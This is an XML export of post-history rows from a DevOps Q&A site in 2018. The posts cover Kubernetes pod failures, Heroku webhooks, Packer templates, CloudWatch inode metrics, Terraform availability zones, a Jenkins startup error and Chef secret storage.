  <row Id="13535" PostHistoryTypeId="5" PostId="4015" RevisionGUID="86ef351d-034a-45b9-8796-9230a5358cad" CreationDate="2018-06-16T21:22:59.610" UserId="210" Comment="deleted 1 character in body" Text="As @Tensibai indicated in one the comments, this could be caused as there is unsufficient CPU or memory, but that is not always the case.&#xD;&#xA;&#xD;&#xA;For example, a helm chart was just deployed, it failed and the workload in GCP indicated that: &#xD;&#xA;&#xD;&#xA;&gt; Pod errors: CrashLoopBackOff&#xD;&#xA;&#xD;&#xA;Based on the comment of @Tensibai the first impression was that there were insufficient resources, but further analysis using `kubectl desribe pod &lt;pod-name&gt;` indicated that in this case the livenessProbe check failed:&#xD;&#xA;&#xD;&#xA;    Liveness probe failed: Get http://10.16.0.13:80/: dial &#xD;&#xA;    tcp 10.16.0.13:80: getsockopt: connection refused&#xD;&#xA;&#xD;&#xA;In summary, the `Does not have minimum availability` message is generic. Multiple issues could trigger this and more in dept analysis is required to find the actual error." ContentLicense="CC BY-SA 4.0" />
  <row Id="13537" PostHistoryTypeId="2" PostId="4311" RevisionGUID="dbf3d4f6-4cd7-4c1f-b01c-bd0180bb063c" CreationDate="2018-06-17T00:10:05.970" UserId="249" Text="ChatOps uses [GitHub status checks](https://help.github.com/articles/about-required-status-checks/), so it's decidedly GitHub specific and won't work with another provider.&#xD;&#xA;&#xD;&#xA;However, if you're just after notifications, what about Heroku's [App webhooks](https://devcenter.heroku.com/articles/app-webhooks)? They have an 'entity' for new app releases (`api:release`) which might partially help you... in that you can set up a notification for successful releases, at least.&#xD;&#xA;&#xD;&#xA;Alternatively, you could listen to the `api:build` entity's `create` event to know when a build starts, and the `update` event to know when its status changes - which I haven't used but presume would include a field for whether it succeeded or failed.&#xD;&#xA;&#xD;&#xA;To subscribe to a webhook, you use the Heroku CLI:&#xD;&#xA;&#xD;&#xA;    heroku webhooks:add --include api:build --level sync --url https://example.com/hooks&#xD;&#xA;&#xD;&#xA;This is outlined in more detail in the documentation [here](https://devcenter.heroku.com/articles/app-webhooks#step-3-subscribe). The payload you receive will look like [this](https://devcenter.heroku.com/articles/app-webhooks#receiving-webhooks).&#xD;&#xA;&#xD;&#xA;This isn't going to get it straight into Slack for you though, so you'll need a piece of middleware to do that. Here's a [tiny Sinatra app](https://github.com/tdmalone/docker-to-slack) I forked from a fork. It converts Docker Hub notifications into the format Slack expects for an incoming webhook. It should be pretty easy to edit it to make it convert Heroku webhooks instead. Then, voila, the tiny app itself deploys on Heroku, and that's the URL you stick in the webhook subscription above.&#xD;&#xA;&#xD;&#xA;This is probably a lot more steps than you wanted. Someone may have already done it somewhere... but I can say that at least doing it the above way will give you a lot more flexibility to create your own customised workflows where you need them!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13538" PostHistoryTypeId="2" PostId="4312" RevisionGUID="f4d4bd2c-1d9e-4087-923a-d292bd7ecfd1" CreationDate="2018-06-17T00:22:34.740" UserId="249" Text="I'm creating about 10-12 Packer templates which almost all work the same way. Same builder (Amazon EBS), with some small variations in AMI names, and almost the same provisioner (Ansible Remote) - sometimes with additional variables and sometimes multiple playbooks.&#xD;&#xA;&#xD;&#xA;But, much of the Packer templates remain the same.&#xD;&#xA;&#xD;&#xA;I know I can use variables to get some of the changeable values into one place in the file. But I'm keen to cut down on all of the copy-pasta in the templates.&#xD;&#xA;&#xD;&#xA;I could do this with a wrapper shell script utilising `jq` or something. But each complexity I add gives something else for others to learn. Try as I might, I can't seem to find a 'blessed' idiomatic way of doing this with Packer.&#xD;&#xA;&#xD;&#xA;Is there an idiomatic way of doing this - or at least a generally accepted way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13539" PostHistoryTypeId="1" PostId="4312" RevisionGUID="f4d4bd2c-1d9e-4087-923a-d292bd7ecfd1" CreationDate="2018-06-17T00:22:34.740" UserId="249" Text="Is there an idiomatic way to create reusable Packer templates?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13540" PostHistoryTypeId="3" PostId="4312" RevisionGUID="f4d4bd2c-1d9e-4087-923a-d292bd7ecfd1" CreationDate="2018-06-17T00:22:34.740" UserId="249" Text="&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13541" PostHistoryTypeId="2" PostId="4313" RevisionGUID="39b29964-e656-4cda-9e2a-7ee0b4abafb6" CreationDate="2018-06-17T01:11:19.470" UserId="249" Text="AWS have a CloudWatch agent which will submit a number of useful (configurable) metrics, including `inodes_free`, `inodes_used`, and `inodes_total`. They'll appear, by default, under the `CWAgent` namespace in CloudWatch metrics from where you can view them, add them to dashboards, create alarms etc.&#xD;&#xA;&#xD;&#xA;For the full details, these links will be useful:&#xD;&#xA;&#xD;&#xA;- [installing the agent](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/install-CloudWatch-Agent-on-first-instance.html)&#xD;&#xA;- [configuring the agent](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch-Agent-Configuration-File-Details.html)&#xD;&#xA;- [troubleshooting the agent](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/troubleshooting-CloudWatch-Agent.html)&#xD;&#xA;&#xD;&#xA;Alternatively, the quickest way to get started is to:&#xD;&#xA;&#xD;&#xA;1. Download the agent from https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip&#xD;&#xA;1. Unzip and run `install.sh`&#xD;&#xA;1. Start the agent by running `/opt/aws/amazon-cloudwatch-agent/bin/amazon-cloudwatch-agent-ctl -a start` (this will create a default config file)&#xD;&#xA;1. Edit the default config file at `/opt/aws/amazon-cloudwatch-agent/etc/amazon-cloudwatch-agent.json` and modify the `metrics_collected` to include the inode metrics under the `disk` category (see below for sample).&#xD;&#xA;1. Stop (above command but with `-a stop` instead) and start the agent for the new config to take effect.&#xD;&#xA;&#xD;&#xA;You should then see the new metrics appear in CloudWatch within a minute or so. The agent should also automatically start at boot.&#xD;&#xA;&#xD;&#xA;Here's a sample of defining the inode metrics (for full details see the [configuration docs](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch-Agent-Configuration-File-Details.html)):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;metrics&quot;: {&#xD;&#xA;        &quot;append_dimensions&quot;: {&#xD;&#xA;          &quot;InstanceId&quot;: &quot;${aws:InstanceId}&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;metrics_collected&quot;: {&#xD;&#xA;          &quot;disk&quot;: {&#xD;&#xA;            &quot;measurement&quot;: [&#xD;&#xA;              &quot;inodes_free&quot;,&#xD;&#xA;              &quot;inodes_used&quot;,&#xD;&#xA;              &quot;inodes_total&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;metrics_collection_interval&quot;: 60,&#xD;&#xA;            &quot;resources&quot;: [&#xD;&#xA;              &quot;*&quot;&#xD;&#xA;            ]&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="13544" PostHistoryTypeId="2" PostId="4314" RevisionGUID="5deb2ec9-2a28-426f-82dc-8638892034dc" CreationDate="2018-06-17T02:45:03.080" UserId="249" Text="Not really. The standard way to work around this though is to use eg:&#xD;&#xA;&#xD;&#xA;    terraform apply -target=aws_security_group.my_sg&#xD;&#xA;&#xD;&#xA;but that's only going to apply one security group at a time, so will get tedious if you have a lot of them (and no, you can't target multiple resources in one command).&#xD;&#xA;&#xD;&#xA;However, there are potentially a couple of workarounds:&#xD;&#xA;&#xD;&#xA; - **The `-target` parameter respects dependencies.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   This means if you were to eg. `-target=aws_instance.my_server` and that instance had, say, five security groups attached to it via interpolation, changes to those security groups _should_ be included in the plan (I haven't thoroughly tested this, but I believe this is how it works).&#xD;&#xA;&#xD;&#xA;   That is a bit messy though, as you probably don't want to touch an instance. A safer alternative might be using something like a [`null_resource`](https://www.terraform.io/docs/provisioners/null_resource.html) to provide a target for the security groups, but again I haven't tried this (there might be another 'safe' resource you could rely on, though?).&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA; - **Use a script to temporarily isolate the file.**&#xD;&#xA;&#xD;&#xA;   Given you're using `--auto-approve` I'm guessing you might be running this in automation. So, you could potentially do something like this in your CI script:&#xD;&#xA;&#xD;&#xA;        ls *.tf | grep -v security-groups.tf | xargs -I % mv % %.bak&#xD;&#xA;        terraform apply --auto-approve&#xD;&#xA;&#xD;&#xA;    That would make all of your `*.tf` files, except for the security groups, 'invisible' to Terraform for that run, as they'll have the `.bak` extension. Of course, you might also need to exclude your `config.tf` (or wherever you have your provider configured) and any other files that the security groups rely on.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13545" PostHistoryTypeId="2" PostId="4315" RevisionGUID="7d1886a7-a34a-4922-bc6a-d04b30248fa5" CreationDate="2018-06-17T03:04:33.433" UserId="249" Text="In order to test that our load balancers and Multi-AZ RDS instances are working the way I'd expect them to, I'd like to simulate failure of an AWS Availability Zone.&#xD;&#xA;&#xD;&#xA;Short of locating one of the datacenters and setting fire to it (which probably wouldn't be successful anyway), how can I do this? (I'm aware of Netflix' [Chaos Gorilla](https://devops.stackexchange.com/a/610/249), but it doesn't seem to have been released to the public [like Chaos Monkey has](https://github.com/netflix/chaosmonkey), and I'm not sure what techniques it uses to cause its chaos)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13546" PostHistoryTypeId="1" PostId="4315" RevisionGUID="7d1886a7-a34a-4922-bc6a-d04b30248fa5" CreationDate="2018-06-17T03:04:33.433" UserId="249" Text="How can I simulate failure of an AWS Availability Zone?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13547" PostHistoryTypeId="3" PostId="4315" RevisionGUID="7d1886a7-a34a-4922-bc6a-d04b30248fa5" CreationDate="2018-06-17T03:04:33.433" UserId="249" Text="&lt;amazon-web-services&gt;&lt;high-availability&gt;&lt;resilience-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13548" PostHistoryTypeId="2" PostId="4316" RevisionGUID="a68392c1-87f1-4977-97de-0b42da15539a" CreationDate="2018-06-17T03:04:33.433" UserId="249" Text="This (slightly old in cloud years) [question on Hacker News](https://news.ycombinator.com/item?id=10052314) provides a few suggestions:&#xD;&#xA;&#xD;&#xA;- Remove the security groups from all instances in one zone, which should technically make them all appear 'down'&#xD;&#xA;- Adjust the VPC route tables to black hole the subnets in one availability zone&#xD;&#xA;- Disable an availability zone from the load balancer ([docs](https://docs.aws.amazon.com/cli/latest/reference/elb/disable-availability-zones-for-load-balancer.html))&#xD;&#xA;&#xD;&#xA;You could also probably adjust the Network ACL attached to the relevant subnets to deny all traffic.&#xD;&#xA;&#xD;&#xA;I'm not aware of an existing, available tool that does any of this automatically, though." ContentLicense="CC BY-SA 4.0" />
  <row Id="13549" PostHistoryTypeId="2" PostId="4317" RevisionGUID="3cbd68e6-5e61-4f7c-9a04-3b34a7552ce5" CreationDate="2018-06-17T03:22:42.343" UserId="249" Text="There are multiple AWS services that can help with this, and it depends really on your exact needs as to which would suit you best. Different features (and costs) apply to each.&#xD;&#xA;&#xD;&#xA;CloudTrail has been mentioned, but the the first option that comes to mind for me given your question (and it's mentioned in a [comment on @Evgeny's answer](https://devops.stackexchange.com/questions/1160/how-to-track-changes-to-aws-settings#comment1969_1161)) is the [**AWS Config Service**](https://aws.amazon.com/config/). It stores 'snapshots' of your AWS configuration at points in time (in an S3 bucket), but helpfully also sends any changes to an SNS topic. You can then deal with these however you like. For example, on a low traffic account I have these going straight into Slack; on a high traffic account I am tracking the `NumberOfMessagesPublished` metric on that SNS topic to notice if a larger number of changes are made than usual.&#xD;&#xA;&#xD;&#xA;AWS Config also offers a 'rules' service; these are a bit more pricey than I would expect them to be but depending on your needs they could be useful. Just don't activate them all at once like I did when I was playing around... the month's charge for each rule applies right away. ;) (But you can use Config without using the rules - that is what I am doing at the moment).&#xD;&#xA;&#xD;&#xA;There's also [**Trusted Advisor**](https://aws.amazon.com/premiumsupport/trustedadvisor/), which doesn't do what you asked for exactly but might be handy to perform certain checks against how engineers configure your infrastructure, such as whether anyone's left S3 buckets open. It's most useful with a Business level Support plan or above, as many of its checks are blocked otherwise.&#xD;&#xA;&#xD;&#xA;Then there's third party tools like [**CloudCheckr**](https://cloudcheckr.com/), which combine aspects of AWS Cost Explorer, Trusted Advisor, Config, CloudTrail, CloudWatch, Inspector and GuardDuty. Useful if you want to get in really deep but save time configuring everything yourself.&#xD;&#xA;&#xD;&#xA;Alternatively, you could manage your infrastructure using a tool such as [Terraform](https://www.terraform.io/) or [CloudFormation](https://aws.amazon.com/cloudformation/), and mandate that all changes must be made through those. You can then commit your config files/templates to source control, and even test them against the live infrastructure in CI and fail the build if someone's made non-tracked changes. That way, your commit history becomes your audit log - but it does require your engineers to be disciplined!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13552" PostHistoryTypeId="2" PostId="4318" RevisionGUID="d888ef21-3fc6-4d05-bf0e-28f64c05ca97" CreationDate="2018-06-17T14:22:54.557" UserId="8163" Text="The posted answers have been very helpful in allowing me to re-think my problem and various approaches.  I haven't implemented a solution yet but I have decided on an approach so I am documenting that and selecting it as the answer. In summary it is this:&#xD;&#xA;&#xD;&#xA;### My Chosen Approach ###&#xD;&#xA;&#xD;&#xA;- For the live environment I will use two Virtual Machines (probably using DigitalOcean droplets) running Ubuntu and configured exactly the same.&#xD;&#xA;- I will employ a Blue-Green approach using the Floating IP facility within DO to maintain my two identical server as Live and Pre-Prod/Backup.&#xD;&#xA;- I will create a VM (probably using VirtualBox) in my development set up for use as a staging environment.  This VM will be set up exactly the same as my two live servers.&#xD;&#xA;- I will write a single common script in Python for setting up an environment from scratch and I will use this to configure my staging environment and my live/pre-prod pair.&#xD;&#xA;- I will employ git hooks to trigger updates to the environments (probably manually triggered).&#xD;&#xA;&#xD;&#xA;### Considerations Which Drove This Approach ###&#xD;&#xA;&#xD;&#xA;- Docker: I have decided against it.  Although  I take seriously the responses (thank you @Levi and @Dan) which say I should re-visit and it shouldn't be that bad, I have had too many experiences in the past of embarking on something new and realise I have fallen down a rabbit hole which eats up time and takes an age to get going.  I think it would be different if I was even working with one other person but as someone working completely alone every minute is precious.&#xD;&#xA;&#xD;&#xA;- Virtual Machines: I hadn't really considered this until I started working with some of the Docker tutorials which use VMs to demonstrate the Swarm functionality.  The idea of being able to create a brand new environment which I have complete control of is very appealing.&#xD;&#xA;&#xD;&#xA;- Scripting: Prompted by @AnoE's helpful reply I have done a bit more digging and it seems that Python is recognised as a viable option for scripting and as that is what I am writing my app in it seems there should be some synergy (If I need to learn something new for my script it will be knowledge I may use in writing my app)&#xD;&#xA;&#xD;&#xA;I will update once I have made some progress with this and if it goes horribly wrong I will acknowledge I maybe made the wrong choice!).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13553" PostHistoryTypeId="50" PostId="3661" RevisionGUID="59b10282-e467-4164-8501-27744c9db68a" CreationDate="2018-06-17T17:14:52.700" UserId="-1" />
  <row Id="13555" PostHistoryTypeId="50" PostId="1832" RevisionGUID="dd205b3c-532b-4799-8104-182fbb2e3c37" CreationDate="2018-06-18T01:16:05.527" UserId="-1" />
  <row Id="13556" PostHistoryTypeId="50" PostId="3552" RevisionGUID="642ae1a0-bade-455e-9213-ae81582618fd" CreationDate="2018-06-18T02:16:41.687" UserId="-1" />
  <row Id="13557" PostHistoryTypeId="2" PostId="4319" RevisionGUID="db4c0abd-7e2a-44f0-b0f4-fd01d2b2c916" CreationDate="2018-06-18T02:25:26.930" UserId="249" Text="So far, I've taken to defining the default `builders` and `provisioners` we use, with [user variables](https://www.packer.io/docs/templates/user-variables.html) interpolated in where required, eg:&#xD;&#xA;&#xD;&#xA;     &quot;type&quot;: &quot;amazon-ebs&quot;,&#xD;&#xA;     &quot;instance_type&quot;: &quot;t2.micro&quot;,&#xD;&#xA;     &quot;ami_name&quot;: &quot;{{ user `ami-name` }} &#xD;&#xA;&#xD;&#xA;I've got files called eg. `packer-builders.json` and `packer-provisioners.json`, and then all the separate Packer templates in their own directories.&#xD;&#xA;&#xD;&#xA;I've then written a quick Bash script that takes the name of the template one wants to build, finds all the `packer-*.json` files, and uses `jq --slurp` to merge them in (eg. `jq --slurp '.[0] * .[1] * .[2]' $LIST_OF_FILES`) with the supplied template at the end. It saves the output and sends that along to `packer build`.&#xD;&#xA;&#xD;&#xA;As a bonus, I'm also using `jsmin` before hitting `jq` so that I can include comments in any of the JSON files.&#xD;&#xA;&#xD;&#xA;It works well, but I'm not a _massive_ fan of it because it's custom and it adds an additional barrier for entry for others coming across it (much more to consider than just `packer build something.json`!&#xD;&#xA;&#xD;&#xA;So I'm really keen for additional answers here if there's a better way to do this." ContentLicense="CC BY-SA 4.0" />
  <row Id="13558" PostHistoryTypeId="2" PostId="4320" RevisionGUID="29d6f352-aef5-4912-ab86-a868040b37ed" CreationDate="2018-06-18T07:56:17.377" UserId="8374" Text="A week ago I had to restart our Jenkins, I did so via &quot;jenkins url&quot;/restart At first it was stuck on &quot;please wait while Jenkins is restarting&quot; for like...1.5 days, so I figured something was wrong.&#xD;&#xA;&#xD;&#xA;I troubleshooted and restarted the service (daemon) itself as [this][1] post suggested. After the manual restart the jenkins page spat out this error &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException: java.lang.RuntimeException: Unable to read history for build2&#xD;&#xA;    	at hudson.WebAppMain$3.run(WebAppMain.java:239)&#xD;&#xA;    Caused by: org.jvnet.hudson.reactor.ReactorException: java.lang.RuntimeException: Unable to read history for build2&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;    	at jenkins.InitReactorRunner.run(InitReactorRunner.java:44)&#xD;&#xA;    	at jenkins.model.Jenkins.executeReactor(Jenkins.java:969)&#xD;&#xA;    	at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:850)&#xD;&#xA;    	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;    	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;    	at hudson.WebAppMain$3.run(WebAppMain.java:227)&#xD;&#xA;    Caused by: java.lang.RuntimeException: Unable to read history for build2&#xD;&#xA;    	at hudson.plugins.jobConfigHistory.FileHistoryDao.getRevisions(FileHistoryDao.java:748)&#xD;&#xA;    	at hudson.plugins.jobConfigHistory.FileHistoryDao.hasDuplicateHistory(FileHistoryDao.java:804)&#xD;&#xA;    	at hudson.plugins.jobConfigHistory.ComputerHistoryListener.onChange(ComputerHistoryListener.java:94)&#xD;&#xA;    	at hudson.plugins.jobConfigHistory.ComputerHistoryListener.onConfigurationChange(ComputerHistoryListener.java:52)&#xD;&#xA;    	at hudson.model.AbstractCIBase.updateComputerList(AbstractCIBase.java:209)&#xD;&#xA;    	at jenkins.model.Jenkins.updateComputerList(Jenkins.java:1293)&#xD;&#xA;    	at jenkins.model.Nodes$7.run(Nodes.java:304)&#xD;&#xA;    	at hudson.model.Queue._withLock(Queue.java:1312)&#xD;&#xA;    	at hudson.model.Queue.withLock(Queue.java:1189)&#xD;&#xA;    	at jenkins.model.Nodes.load(Nodes.java:295)&#xD;&#xA;    	at jenkins.model.Jenkins$17.run(Jenkins.java:2739)&#xD;&#xA;    	at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;    	at jenkins.model.Jenkins$8.runTask(Jenkins.java:958)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:745)&#xD;&#xA;    Caused by: java.io.IOException: Unable to read /Users/Shared/Jenkins/Home/config-history/nodes/build2/2018-06-13_11-41-13/history.xml&#xD;&#xA;    	at hudson.XmlFile.read(XmlFile.java:144)&#xD;&#xA;    	at hudson.plugins.jobConfigHistory.FileHistoryDao.getRevisions(FileHistoryDao.java:746)&#xD;&#xA;    	... 18 more&#xD;&#xA;    Caused by: com.thoughtworks.xstream.io.StreamException:  : only 1.0 is supported as &lt;?xml version not '1.1' (position: START_DOCUMENT seen &lt;?xml version=\'1.1\'... @1:19) &#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:124)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown(AbstractPullReader.java:103)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.XppReader.&lt;init&gt;(XppReader.java:63)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractXppDriver.createReader(AbstractXppDriver.java:54)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractXppDriver.createReader(AbstractXppDriver.java:65)&#xD;&#xA;    	at com.thoughtworks.xstream.XStream.fromXML(XStream.java:1053)&#xD;&#xA;    	at hudson.XmlFile.read(XmlFile.java:142)&#xD;&#xA;    	... 19 more&#xD;&#xA;    Caused by: org.xmlpull.v1.XmlPullParserException: only 1.0 is supported as &lt;?xml version not '1.1' (position: START_DOCUMENT seen &lt;?xml version=\'1.1\'... @1:19) &#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.parseXmlDeclWithVersion(MXParser.java:2608)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.parseXmlDecl(MXParser.java:2592)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.parsePI(MXParser.java:2466)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.parseProlog(MXParser.java:1447)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.nextImpl(MXParser.java:1395)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.next(MXParser.java:1093)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:109)&#xD;&#xA;    	... 28 more&#xD;&#xA;&#xD;&#xA;I guess it has to do with a slave not restarting correctly but I ain't sure, does anyone have any guesses what my next steps should be? I have already removed all the plugins for jenkins to no avail. I have also tried to start the jenkins.war file through Java, but it just says that putty can't be started and aborts. The jenkins is running on a MAC&#xD;&#xA;&#xD;&#xA;Sorry if the solution is super obvious, I haven't got that much experience with Jenkins. Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/17344061/please-wait-while-jenkins-is-restarting-waiting-long" ContentLicense="CC BY-SA 4.0" />
  <row Id="13559" PostHistoryTypeId="1" PostId="4320" RevisionGUID="29d6f352-aef5-4912-ab86-a868040b37ed" CreationDate="2018-06-18T07:56:17.377" UserId="8374" Text="Jenkins fails to start after a restart with &quot;hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13560" PostHistoryTypeId="3" PostId="4320" RevisionGUID="29d6f352-aef5-4912-ab86-a868040b37ed" CreationDate="2018-06-18T07:56:17.377" UserId="8374" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13564" PostHistoryTypeId="2" PostId="4322" RevisionGUID="8a554795-ba33-48d0-a761-e25fa410158e" CreationDate="2018-06-18T09:01:35.093" UserId="8332" Text="I'm fairly new to terraform and when creating AWS infrastructure I use the following to fetch the 'available' availability zones for my region (us-east-1) where I'm trying to create an EKS cluster.&#xD;&#xA;&#xD;&#xA;    data &quot;aws_availability_zones&quot; &quot;available&quot; {}&#xD;&#xA;&#xD;&#xA;However when I run a 'terraform apply', it generates the following error because us-east-1a is at capacity.&#xD;&#xA;&#xD;&#xA;    aws_eks_cluster.demo: error creating EKS Cluster (test-cluster): &#xD;&#xA;    UnsupportedAvailabilityZoneException: Cannot create cluster 'test-cluster' because us-east-1a, the targeted availability zone, does not &#xD;&#xA;    currently have sufficient capacity to support the cluster. Retry and &#xD;&#xA;    choose from these availability zones: us-east-1b, us-east-1c, us-east-1d&#xD;&#xA;&#xD;&#xA;Is there any way I can get terraform to handle this automatically or specify that I only want to use 1b,1c,1d etc.&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="13565" PostHistoryTypeId="1" PostId="4322" RevisionGUID="8a554795-ba33-48d0-a761-e25fa410158e" CreationDate="2018-06-18T09:01:35.093" UserId="8332" Text="Terraform AWS AZ error - manually specify AZ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13566" PostHistoryTypeId="3" PostId="4322" RevisionGUID="8a554795-ba33-48d0-a761-e25fa410158e" CreationDate="2018-06-18T09:01:35.093" UserId="8332" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13567" PostHistoryTypeId="5" PostId="4322" RevisionGUID="ef864bc2-6182-49cc-a96f-4fe709252f3d" CreationDate="2018-06-18T09:35:11.277" UserId="8332" Comment="added 263 characters in body" Text="I'm fairly new to terraform and when creating AWS infrastructure I use the following to fetch the 'available' availability zones for my region (us-east-1) where I'm trying to create an EKS cluster.&#xD;&#xA;&#xD;&#xA;    data &quot;aws_availability_zones&quot; &quot;available&quot; {}&#xD;&#xA;&#xD;&#xA;However when I run a 'terraform apply', it generates the following error because us-east-1a is at capacity.&#xD;&#xA;&#xD;&#xA;    aws_eks_cluster.demo: error creating EKS Cluster (test-cluster): &#xD;&#xA;    UnsupportedAvailabilityZoneException: Cannot create cluster 'test-cluster' because us-east-1a, the targeted availability zone, does not &#xD;&#xA;    currently have sufficient capacity to support the cluster. Retry and &#xD;&#xA;    choose from these availability zones: us-east-1b, us-east-1c, us-east-1d&#xD;&#xA;&#xD;&#xA;Is there any way I can get terraform to handle this automatically or specify that I only want to use 1b,1c,1d etc.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I've realised this is tied with where I create my subnets, which I do using this line:&#xD;&#xA;&#xD;&#xA;     availability_zone = &quot;${data.aws_availability_zones.available.names[count.index]}&quot;&#xD;&#xA;&#xD;&#xA;So I assume I somehow need to skip us-east-1a by doing something here?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="13568" PostHistoryTypeId="2" PostId="4323" RevisionGUID="2b85cc8b-b6a0-44af-90d1-3899dd35c9d5" CreationDate="2018-06-18T10:17:22.263" UserId="8332" Text="If anyone else has this issue, here's how I got around it.&#xD;&#xA;&#xD;&#xA;Specify a variable with the availability zones you want to target&#xD;&#xA;&#xD;&#xA;    variable &quot;zones&quot; {&#xD;&#xA;      default = [&quot;us-east-1b&quot;, &quot;us-east-1c&quot;, &quot;us-east-1d&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When creating your subnets, use this line&#xD;&#xA;&#xD;&#xA;    availability_zone = &quot;${var.zones[count.index]}&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13569" PostHistoryTypeId="2" PostId="4324" RevisionGUID="422c691f-4b99-4e5e-886c-35a3298af2ff" CreationDate="2018-06-18T10:54:45.790" UserId="8332" Text="I've been playing around with Chef to evaluate it as a potential CD tool for the company I work for. &#xD;&#xA;&#xD;&#xA;So far I've been using it with Vagrant to provision a VM. In my recipes I've been retrieving the username/password from data bags.&#xD;&#xA;&#xD;&#xA;I'm now looking to re-use these recipes across multiple nodes which all have different credentials so pointing to one data bag for credentials is no longer sufficient.&#xD;&#xA;&#xD;&#xA;The only way I can see to get around the issue is to store the username and password in the node attributes, however is this best practice/secure?&#xD;&#xA;&#xD;&#xA;I've done some googling around this and can't get a clear answer..." ContentLicense="CC BY-SA 4.0" />
  <row Id="13570" PostHistoryTypeId="1" PostId="4324" RevisionGUID="422c691f-4b99-4e5e-886c-35a3298af2ff" CreationDate="2018-06-18T10:54:45.790" UserId="8332" Text="Chef username/passwords best practice for multiple nodes" ContentLicense="CC BY-SA 4.0" />
  <row Id="13571" PostHistoryTypeId="3" PostId="4324" RevisionGUID="422c691f-4b99-4e5e-886c-35a3298af2ff" CreationDate="2018-06-18T10:54:45.790" UserId="8332" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13572" PostHistoryTypeId="2" PostId="4325" RevisionGUID="08e8e548-0481-41d5-a5dd-a5848cc0ac10" CreationDate="2018-06-18T11:18:57.203" UserId="13" Text="Storing secrets in node attributes is usually not a good practice as all nodes attributes are readable by all nodes in an organization.&#xD;&#xA;&#xD;&#xA;There's multiple way to store secrets, Hashicorp's vault, chef-vault (a kind of more secure encrypted databag) or home made system.&#xD;&#xA;&#xD;&#xA;You don't say a word about what are those username/passwords for, so it's not really possible to give any advice on a solution for you case.&#xD;&#xA;&#xD;&#xA;For general perspective you can check Coderanger's talk about it [here](https://coderanger.net/talks/secrets/)" ContentLicense="CC BY-SA 4.0" />
